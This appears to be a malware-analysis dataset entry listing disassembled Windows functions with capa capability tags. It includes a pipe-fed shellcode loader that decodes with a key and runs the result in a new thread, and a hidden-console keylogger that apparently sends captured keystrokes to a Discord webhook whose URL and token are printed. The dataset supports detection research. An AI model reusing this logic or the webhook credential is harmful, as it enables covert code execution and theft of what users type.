joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401a70
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x0040c624]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x401bf8
mov rax, qword [0x0040c628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x401abc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x401b45
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x401aa0
mov rcx, rbx
call fcn.00402710
test rax, rax
mov r12, rax
je 0x401c2d
mov rax, qword [0x0040c628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call fcn.00402840
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x0040c628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x401c10
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x401b3e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x401ba0
add dword [0x0040c624], 1
cmp edi, 8
jae 0x401b73
test dil, 4
jne 0x401be4
test edi, edi
je 0x401b68
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x401bff
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x401b68
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x401b8c
jmp 0x401b68
add rsi, qword [0x0040c628]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x401b3e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00407bc0
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x401b68
xor esi, esi
jmp 0x401ac7
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x401b68
mov rax, qword [0x0040c628]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call fcn.00407bc0
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.00407bc0
nop
nop dword [rax]

Function at 0x402380
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x0040c900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x0040c8e0]
test rbx, rbx
je 0x4023d4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x4023cb
test rsi, rsi
je 0x4023cb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x4023b0
lea rcx, [0x0040c900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x402710
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00409720]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x40277d
mov rcx, r8
call fcn.004025f0
test eax, eax
je 0x40277d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x40277d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402774
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x40277f
add rax, 0x28
cmp rax, r9
jne 0x402760
xor eax, eax
add rsp, 0x28
ret

Function at 0x4079a0
Capabilities:
Connect pipe
Create pipe
Create thread
Read file on windows

Disassembly:
push rbp
sub rsp, 0x480
lea rbp, [rsp + 0x80]
call fcn.00401600
mov qword [rbp - 0x30], 0
mov rax, qword [str..pipeBadCodeTest]
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 0x400
mov r9d, 0xff
mov r8d, 0
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
call rax
mov qword [rbp + 0x3f0], rax
cmp qword [rbp + 0x3f0], 0xffffffffffffffff
jne 0x407a41
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov dword [rbp + 0x3ec], eax
mov eax, dword [rbp + 0x3ec]
mov edx, eax
lea rcx, str.Create_Pipe_Error_:__d
call fcn.00407940
mov eax, dword [rbp + 0x3ec]
jmp 0x407baf
mov rax, qword [rbp + 0x3f0]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
call rax
test eax, eax
setg al
test al, al
je 0x407b84
lea rcx, str.Client_Connect_n
call fcn.00407940
lea rdx, [rbp - 0x24]
lea rax, [rbp - 0x20]
mov rcx, qword [rbp + 0x3f0]
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0x400
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov eax, dword [rbp - 0x24]
mov edx, eax
lea rcx, str.Get_data_length:_d_n
call fcn.00407940
mov eax, dword [rbp - 0x24]
mov eax, eax
mov r9d, 4
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x30], rax
mov eax, dword [rbp - 0x24]
mov edx, eax
lea rax, [rbp - 0x20]
mov r9d, 0xd
lea r8, str.my_secretkey
mov rcx, rax
call fcn.004078b0
mov eax, dword [rbp - 0x24]
mov edx, eax
mov rcx, qword [rbp - 0x30]
lea rax, [rbp - 0x20]
mov r8, rdx
mov rdx, rax
call sub.msvcrt.dll_memmove
mov eax, dword [rbp - 0x24]
mov ecx, eax
mov rax, qword [rbp - 0x30]
lea rdx, [rbp - 0x34]
mov r9, rdx
mov r8d, 0x10
mov rdx, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp - 0x30]
mov rdx, rax
lea rax, [rbp - 0x38]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x3f8], rax
mov rax, qword [rbp + 0x3f8]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x3f0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x3f8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x480
pop rbp
ret
Function at 0x407bc0
Capabilities:
Write file on windows

Disassembly:
lea rcx, [0x00401540]
jmp fcn.00401510
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.00407650
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.00407650
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop
nop
nop
nop
nop
nop
nop
jmp 0x401530
Function at 0x1400114a1
Capabilities:
Terminate process

Disassembly:
jmp 0x14001f5d0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1400115a0
Capabilities:
Log keystrokes via polling

Disassembly:
jmp 0x14001c140
push rbp
push rdi
sub rsp, 0x2c8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x7a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14002d040]
xor rax, rbp
mov qword [rbp + 0x298], rax
lea rcx, [0x1400340f9]
call fcn.140011893
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, str.https:__discord.com_api_webhooks_1186759879856242860_4_pFCvFmcIy7xbueq2O8QfeUvFsRF_xCbb4EnE3v3FqUqCKeuvRAeCKfzxO5Hiha0gr5
lea rcx, [rbp + 8]
call fcn.1400113a2
nop
lea rcx, [rbp + 0x48]
call fcn.140011884
nop
lea rcx, [rbp + 0x88]
call fcn.140011573
xor eax, eax
cmp eax, 1
je 0x14001c322
mov dword [rbp + 0xa4], 1
jmp 0x14001c1da
mov eax, dword [rbp + 0xa4]
inc eax
mov dword [rbp + 0xa4], eax
cmp dword [rbp + 0xa4], 0xff
jg 0x14001c297
mov ecx, dword [rbp + 0xa4]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov word [rbp + 0xc4], ax
movsx eax, word [rbp + 0xc4]
cmp eax, 0xffff8001
jne 0x14001c292
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x14001c230
mov dword [rbp + 0x294], 1
jmp 0x14001c23a
mov dword [rbp + 0x294], 0
movzx eax, byte [rbp + 0x294]
mov byte [rbp + 0xe4], al
movzx r8d, byte [rbp + 0xe4]
mov edx, dword [rbp + 0xa4]
lea rcx, [rbp + 0x108]
call fcn.140011541
nop
lea rcx, [rbp + 0x108]
call fcn.1400111f4
movzx eax, al
test eax, eax
jne 0x14001c286
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x48]
call fcn.140011393
nop
lea rcx, [rbp + 0x108]
call fcn.140011186
jmp 0x14001c1cc
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x208]
call fcn.140011573
lea r8, [rbp + 0x88]
mov rdx, rax
lea rcx, [rbp + 0x228]
call fcn.140011177
mov rdx, rax
lea rcx, [rbp + 0x248]
call fcn.140011014
mov rcx, rax
call fcn.1400118cf
cmp rax, 0x14
jl 0x14001c31d
lea rcx, [rbp + 0x48]
call fcn.1400111f4
movzx eax, al
test eax, eax
jne 0x14001c307
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x48]
call fcn.140011087
lea rcx, [rbp + 0x48]
call fcn.140011460
lea rcx, [rbp + 0x268]
call fcn.140011573
mov rax, qword [rax]
mov qword [rbp + 0x88], rax
jmp 0x14001c1b5
mov dword [rbp + 0x284], 0
lea rcx, [rbp + 0x48]
call fcn.140011186
nop
lea rcx, [rbp + 8]
call fcn.140011186
mov eax, dword [rbp + 0x284]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x1400273c0]
call fcn.140011708
mov eax, edi
mov rcx, qword [rbp + 0x298]
xor rcx, rbp
call fcn.140011406
lea rsp, [rbp + 0x2a8]
pop rdi
pop rbp
ret
Function at 0x1400115be
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001e990
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001e9b0
xor al, al
jmp 0x14001ea31
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14001e9c3
xor al, al
jmp 0x14001ea31
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001e9ed
xor al, al
jmp 0x14001ea31
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14001ea01
xor al, al
jmp 0x14001ea31
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14001ea13
xor al, al
jmp 0x14001ea31
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001ea2f
xor al, al
jmp 0x14001ea31
mov al, 1
add rsp, 0x38
ret
Function at 0x140002840
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x14000289d
lea rbx, [0x1400f4040]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x140002884
cmp r10, 2
jb 0x140002884
cmp byte [r9], r8b
jne 0x140002884
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x140002860
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x1400028df
lea rbx, [0x1400f4040]
cmp r8b, 0x23
jne 0x1400028c3
cmp byte [r9], r8b
jne 0x1400028c3
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x1400028b0
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x140002a20
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push r14
sub rsp, 0x20
mov r14, r8
test r8, r8
je 0x140002a3a
mov qword [r8], 0
lea rdx, [0x1400f39f4]
call fcn.1400028f0
mov rbx, rax
test rax, rax
jne 0x140002a5a
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
cmp eax, 0xffffffff
je 0x140002b31
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140002b31
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x140002b31
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140002b31
cmp rdi, 0xffffffffffffffff
je 0x140002b31
mov rax, qword [0x140111620]
test rax, rax
je 0x140002ace
inc dword [rax + 0x3ac]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x140002b31
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x140002b1e
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x140111620]
test rax, rax
je 0x140002b13
dec dword [rax + 0x3ac]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140002b3a
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x140002b2c
mov qword [r14], rdi
mov rax, rsi
jmp 0x140002b3c
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x1400055e0
Capabilities:
Hash data with crc32

Disassembly:
push rbx
sub rsp, 0x20
movsxd r8, dword [rcx + 0x100]
mov rax, qword [rcx + 0x108]
movsxd r9, edx
mov ebx, dword [rax + r8*4 - 4]
lea r8, [0x1400f4040]
not ebx
movzx eax, r9b
movzx ecx, bl
xor rcx, rax
shr ebx, 8
mov eax, r9d
shr eax, 8
movzx edx, al
mov eax, r9d
xor ebx, dword [r8 + rcx*4]
movzx ecx, bl
xor rdx, rcx
shr ebx, 8
shr eax, 0x10
xor ebx, dword [r8 + rdx*4]
movzx ecx, bl
shr ebx, 8
movzx edx, al
mov rax, qword [0x140111620]
xor rdx, rcx
xor ebx, dword [r8 + rdx*4]
movzx ecx, bl
shr ebx, 8
mov edx, r9d
shr rdx, 0x18
xor rdx, rcx
xor ebx, dword [r8 + rdx*4]
not ebx
cmp dword [rax + 0x1d7c], ebx
jne 0x14000566d
mov dword [rax + 0x1d80], ebx
cmp dword [rax + 0x1db8], ebx
jne 0x14000567c
mov byte [rax + 0x1dbc], 1
cmp dword [rax + 0x1d64], ebx
jne 0x140005693
mov r8, r9
mov edx, 4
mov ecx, ebx
call fcn.140023780
mov eax, ebx
add rsp, 0x20
pop rbx
ret
Function at 0x1400115b0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x30
mov r8, qword [0x140111620]
lea r10, [0x1400f4040]
movsxd r9, ecx
mov rdi, qword [r8 + 0x1d28]
movsxd rdx, dword [rdi + 0x100]
mov rax, qword [rdi + 0x108]
mov ebx, dword [rax + rdx*4 - 4]
not ebx
movzx eax, r9b
movzx ecx, bl
xor rcx, rax
shr ebx, 8
mov eax, r9d
shr eax, 8
movzx edx, al
mov eax, r9d
xor ebx, dword [r10 + rcx*4]
movzx ecx, bl
xor rdx, rcx
shr ebx, 8
shr eax, 0x10
xor ebx, dword [r10 + rdx*4]
movzx ecx, bl
shr ebx, 8
movzx edx, al
xor rdx, rcx
xor ebx, dword [r10 + rdx*4]
movzx ecx, bl
shr ebx, 8
mov edx, r9d
shr rdx, 0x18
xor rdx, rcx
xor ebx, dword [r10 + rdx*4]
not ebx
cmp dword [r8 + 0x1d64], ebx
jne 0x140011651
mov r8, r9
mov edx, 4
mov ecx, ebx
call fcn.140023780
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], ebx
lea rcx, [rdi + 0x100]
call fcn.140024830
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret

Function at 0x1400126c0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x140110080]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, qword [0x140111620]
mov edi, edx
cmp byte [rbx + 0x212d], 0
jne 0x140012721
cmp byte [rbx + 0x212e], 0
jne 0x140012721
movsx r9d, word [rbx + 0x321e]
lea r8, str.Tooltip__02d
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x20]
call fcn.1400027c0
test dil, 1
je 0x140012849
jmp 0x1400127b1
movss xmm1, dword [rbx + 0x1708]
lea r8, str.Tooltip__02d
movsx r9d, word [rbx + 0x321e]
lea rcx, [rsp + 0x20]
movaps xmm0, xmm1
xor eax, eax
mulss xmm0, dword [0x1400fd5e8]
mulss xmm1, dword [0x1400fd5dc]
lea edx, [rax + 0x10]
addss xmm0, dword [rbx + 0x120]
addss xmm1, dword [rbx + 0x124]
mov qword [rbx + 0x1e44], rax
mov dword [rbx + 0x1e2c], 1
movss dword [rbx + 0x1e3c], xmm0
mov byte [rbx + 0x1e64], 1
movss dword [rbx + 0x1e40], xmm1
movss xmm0, dword [rbx + 0x1764]
mulss xmm0, dword [0x1400fd524]
or dword [rbx + 0x1e28], 0x41
movss dword [rbx + 0x1e88], xmm0
call fcn.1400027c0
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x140012801
lea r11, [0x1400f4040]
cmp r9b, 0x23
jne 0x1400127e4
cmp byte [r8], r9b
jne 0x1400127e4
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x1400127d1
not ecx
call fcn.14000b060
test rax, rax
je 0x140012849
cmp byte [rax + 0xc7], 0
je 0x140012849
mov byte [rax + 0xce], 1
lea r8, str.Tooltip__02d
mov byte [rax + 0xe8], 1
lea rcx, [rsp + 0x20]
inc word [rbx + 0x321e]
mov edx, reloc.WS2_32.dll_recv
movsx r9d, word [rbx + 0x321e]
call fcn.1400027c0
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x22c0347
call fcn.14000dc50
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1400c4180
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x140017af0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x3308], 0
lea rbx, [rcx + 0x3310]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x140017b97
mov r9d, dword [rbx + 4]
mov qword [rsp + 0x30], r14
xor r14d, r14d
test r9d, r9d
jns 0x140017b4a
mov eax, r9d
mov rcx, rbx
cdq
sub eax, edx
mov edx, r14d
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.140024b50
mov r8, rsi
mov dword [rbx], r14d
mov rdx, rbp
mov rcx, rbx
call fcn.1400031a0
mov eax, dword [rbx]
mov edx, 1
mov r9, qword [rdi + 0x3308]
test eax, eax
lea ecx, [rax - 1]
mov rax, qword [rdi + 0x3318]
cmove ecx, r14d
test rax, rax
movsxd r8, ecx
lea rcx, [0x140111618]
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r14, qword [rsp + 0x30]
jmp 0x140017b9f
mov rcx, rbx
call fcn.1400031a0
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x140017fe0
Capabilities:
Hash data with crc32

Disassembly:
push rbx
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10d, 0xffffffff
mov rbx, rcx
mov eax, r10d
test r9b, r9b
je 0x140018032
lea r11, [0x1400f4040]
cmp r9b, 0x23
jne 0x140018015
cmp byte [r8], r9b
jne 0x140018015
cmp byte [r8 + 1], r9b
cmove eax, r10d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [r11 + rdx*4]
test r9b, r9b
jne 0x140018002
mov r11, qword [0x140111620]
mov r10, qword [r11 + 0x32d0]
test r10, r10
je 0x140018079
lea r9, [r10 + 4]
test r9, r9
je 0x140018079
not eax
cmp dword [r9], eax
je 0x140018082
movsxd r8, dword [r9 - 4]
movsxd rdx, dword [r11 + 0x32c8]
add r8, r9
add rdx, 4
xor r9d, r9d
add rdx, r10
cmp r8, rdx
cmovne r9, r8
test r9, r9
jne 0x140018050
mov rcx, rbx
pop rbx
jmp fcn.140017ef0
mov rax, r9
pop rbx
ret
Function at 0x14001b7c0
Capabilities:
Hash data with crc32

Disassembly:
test r8d, r8d
jle 0x14001ba0e
mov r11, rsp
push rbp
push rsi
sub rsp, 0x58
mov rax, qword [0x140110080]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov qword [r11 - 0x18], rdi
mov rbp, rcx
mov qword [r11 - 0x20], r14
lea rdi, [rdx + 0x1a]
mov qword [r11 - 0x28], r15
mov r14d, 0xffffffff
lea r15, [0x1400f4040]
mov qword [r11 + 0x18], rbx
movsxd rsi, r8d
nop dword [rax + rax]
mov edx, dword [rdi - 0x1a]
test edx, edx
je 0x14001b9d6
mov rcx, rbp
call fcn.14001ae90
mov r9d, dword [rdi - 0x16]
mov rbx, rax
test r9d, r9d
je 0x14001b891
movsxd rdx, dword [rbp + 0x3268]
mov r8, qword [rbp + 0x3270]
mov r10, rdx
shl r10, 4
add r10, r8
test rdx, rdx
je 0x14001b881
nop dword [rax]
mov rcx, rdx
shr rcx, 1
mov rax, rcx
add rax, rax
cmp dword [r8 + rax*8], r9d
jae 0x14001b879
lea r8, [r8 + rax*8]
mov rax, 0xffffffffffffffff
sub rax, rcx
add r8, 0x10
add rdx, rax
jmp 0x14001b87c
mov rdx, rcx
test rdx, rdx
jne 0x14001b850
cmp r8, r10
je 0x14001b891
cmp dword [r8], r9d
jne 0x14001b891
mov rcx, qword [r8 + 8]
jmp 0x14001b893
xor ecx, ecx
mov qword [rbx + 0x18], rcx
movsx eax, word [rdi - 2]
movd xmm1, eax
movsx eax, word [rdi]
cvtdq2ps xmm1, xmm1
movd xmm0, eax
movss dword [rbx + 0x48], xmm1
cvtdq2ps xmm0, xmm0
movss dword [rbx + 0x4c], xmm0
movsx eax, word [rdi + 2]
movd xmm1, eax
movsx eax, word [rdi + 4]
cvtdq2ps xmm1, xmm1
movd xmm0, eax
movss dword [rbx + 0x50], xmm1
cvtdq2ps xmm0, xmm0
movss dword [rbx + 0x54], xmm0
movsx eax, word [rdi + 6]
movd xmm1, eax
movsx eax, word [rdi + 8]
cvtdq2ps xmm1, xmm1
movd xmm0, eax
mov eax, dword [rbx + 0xbc]
and eax, 0xfffffe49
movss dword [rbx + 0x58], xmm1
or eax, 0x49
mov dword [rbx + 0xbc], eax
cvtdq2ps xmm0, xmm0
movss dword [rbx + 0x5c], xmm0
test rcx, rcx
je 0x14001b927
cmp qword [rcx + 0x20], 0
jne 0x14001b91c
mov qword [rcx + 0x20], rbx
jmp 0x14001b927
cmp qword [rcx + 0x28], 0
jne 0x14001b927
mov qword [rcx + 0x28], rbx
mov eax, dword [rdi - 0xe]
mov r9, rbx
mov dword [rbx + 0xb4], eax
movsx eax, byte [rdi - 0xa]
mov dword [rbx + 0x60], eax
mov ecx, dword [rdi - 6]
mov eax, dword [rbx + 0xc]
and ecx, 0xc1fc20
or eax, dword [rbx + 4]
or eax, ecx
mov dword [rbx + 8], ecx
mov dword [rbx + 0x10], eax
mov rax, qword [rbx + 0x18]
test rax, rax
je 0x14001b96c
nop word [rax + rax]
mov r9, rax
mov rax, qword [rax + 0x18]
test rax, rax
jne 0x14001b960
mov r9d, dword [r9]
lea r8, str.DockNode__02X
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rsp + 0x20]
call fcn.1400027c0
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov ecx, r14d
test r9b, r9b
je 0x14001b9c8
cmp r9b, 0x23
jne 0x14001b9ab
cmp byte [r8], r9b
jne 0x14001b9ab
cmp byte [r8 + 1], r9b
cmove ecx, r14d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r15 + rdx*4]
test r9b, r9b
jne 0x14001b998
not ecx
call fcn.14000b060
mov qword [rbx + 0x80], rax
add rdi, 0x24
sub rsi, 1
jne 0x14001b810
mov r15, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400c4180
add rsp, 0x58
pop rsi
pop rbp
ret